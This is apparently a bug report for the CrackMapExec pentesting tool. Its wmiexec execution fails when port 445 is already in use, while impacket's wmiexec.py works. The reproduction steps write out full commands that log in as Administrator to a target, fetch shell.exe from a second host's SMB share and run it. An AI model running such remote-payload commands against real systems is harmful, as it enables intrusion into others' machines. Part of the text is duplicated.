Describe the bug
When executing code via wmiexec and crackmapexec, port 445 is required to be open. If a smb service is running on the system it is not possible to use wmiexec to execute code (Error: Error starting SMB server on port 445: the port is already in use). Even providing a custom port via the --smb-server-port option does not execute the code.
The code gets successfully executed using wmiexec.py from impacket.
To Reproduce
Create a share on kali and start the smb service.
Then execute the following commands.
crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Not Working
crackmapexec smb 10.10.101.11 -u Administrator -p $PASSORD --local-auth --exec-method wmiexec -x "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" --smb-server-port 1337 -> Not working
python3 wmiexec.py ./Administrator:$PASSWORD@10.10.101.11 "mkdir C:\\temp & net use \\\\10.10.101.12\\print$ /user:shareuser $SMBPASS & copy \\\\10.10.101.12\\print$\\shell.exe C:\\temp\\shell.exe & net use \\\\10.10.101.12\\print$ /delete & cmd /c C:\\temp\\shell.exe" -> Working
Describe the bug When executing code via wmiexec and crackmapexec, port 445 is required to be open. If a smb service is running on the system it is not possible to use wmiexec to execute code (Error: Error starting SMB server on port 445: the port is already in use). Even providing a custom port via the
--smb-server-port
option does not execute the code.The code gets successfully executed using wmiexec.py from impacket.
To Reproduce Create a share on kali and start the smb service.
Then execute the following commands.
Expected behavior Code should get executed.
Screenshots
Crackmapexec info